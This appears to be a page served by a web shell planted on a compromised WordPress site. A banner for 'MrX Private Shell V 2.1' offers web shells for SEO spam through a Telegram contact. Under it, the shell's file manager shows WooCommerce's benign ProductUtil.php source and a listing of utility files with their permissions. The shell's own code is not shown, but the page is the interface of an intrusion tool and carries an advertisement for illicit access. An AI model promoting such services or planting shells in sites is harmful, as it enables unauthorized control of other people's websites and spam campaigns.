__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
namespace Automattic\WooCommerce\Internal\Utilities;
/**
* Class with general utility methods related to products.
*/
class ProductUtil {
/**
* Delete the transients related to a specific product.
* If the product is a variation, delete the transients for the parent too.
*
* @param WC_Product|int $product_or_id The product or the product id.
* @return void
*/
public function delete_product_specific_transients( $product_or_id ) {
$parent_id = 0;
if ( $product_or_id instanceof \WC_Product ) {
$product = $product_or_id;
$product_id = $product->get_id();
} else {
$product_id = $product_or_id;
$product = wc_get_product( $product_id );
}
if ( $product instanceof \WC_Product_Variation ) {
$parent_id = $product->get_parent_id();
}
$product_specific_transient_names = array(
'wc_product_children_',
'wc_var_prices_',
'wc_related_',
'wc_child_has_weight_',
'wc_child_has_dimensions_',
);
foreach ( $product_specific_transient_names as $transient ) {
delete_transient( $transient . $product_id );
if ( $parent_id ) {
delete_transient( $transient . $parent_id );
}
}
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ArrayUtil.php | File | 3.07 KB | 0664 |
|
| BlocksUtil.php | File | 2.28 KB | 0664 |
|
| COTMigrationUtil.php | File | 6.04 KB | 0664 |
|
| DatabaseUtil.php | File | 16.1 KB | 0664 |
|
| FilesystemUtil.php | File | 5.43 KB | 0664 |
|
| HtmlSanitizer.php | File | 3.1 KB | 0664 |
|
| LegacyRestApiStub.php | File | 6.65 KB | 0664 |
|
| PluginInstaller.php | File | 14.01 KB | 0664 |
|
| ProductUtil.php | File | 1.16 KB | 0664 |
|
| Types.php | File | 1.97 KB | 0664 |
|
| URL.php | File | 13.1 KB | 0664 |
|
| URLException.php | File | 191 B | 0664 |
|
| Users.php | File | 9.33 KB | 0664 |
|
| WebhookUtil.php | File | 5.37 KB | 0664 |
|